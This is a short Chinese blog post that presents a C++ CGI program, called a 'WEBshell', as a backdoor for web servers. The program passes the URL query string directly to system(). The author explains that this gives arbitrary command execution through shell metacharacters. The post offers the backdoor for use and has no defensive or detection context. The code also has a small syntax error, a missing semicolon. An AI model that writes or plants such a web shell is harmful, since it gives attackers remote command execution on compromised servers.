使用C++编写基于WEB CGI的后门漏洞

最新推荐文章于 2021-05-18 01:12:10 发布

程序小黑

最新推荐文章于 2021-05-18 01:12:10 发布

阅读量3.2w

点赞数 1

分类专栏：网络安全 C/C++ WEB 文章标签：网络安全 WEB 编程

本文链接：https://blog.csdn.net/qq_27180763/article/details/84953297

版权

网络安全同时被 3 个专栏收录

77 篇文章 4 订阅

订阅专栏

C/C++

32 篇文章 1 订阅

订阅专栏

WEB

22 篇文章 1 订阅

订阅专栏

先上代码：

#include <stdio.h>
#include <stdlib.h>
#include <string>
using namespace std;
int main()
{
	printf("Content-Type:text/plain;charset=utf-8\r\n\r\n");
	printf("<html>");
	printf("<h1>Welcome to this WEBshell</h1>\r\n");
	char* str = getenv("QUERY_STRING");
	if(!str){
		printf("<h3>please check your network!</h3>");
	}else{
		system(str);
	}
	printf("</html>")
	return 0;
}

核心函数是getenv，获取当前页面的所有环境变量，这里我们只要使用shell元字符解决url转义问题，配合shell命令即可实现任意命令执行。